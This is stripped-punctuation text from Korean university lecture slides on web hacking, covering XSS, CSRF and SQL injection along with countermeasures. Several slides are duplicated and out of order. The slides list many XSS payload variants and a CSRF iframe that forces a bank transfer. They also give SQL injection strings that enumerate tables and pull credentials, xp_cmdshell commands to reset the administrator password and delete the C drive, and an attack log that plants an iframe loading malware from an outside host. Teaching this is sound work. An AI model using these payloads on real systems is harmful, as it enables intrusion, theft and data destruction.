최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 18: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 19: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

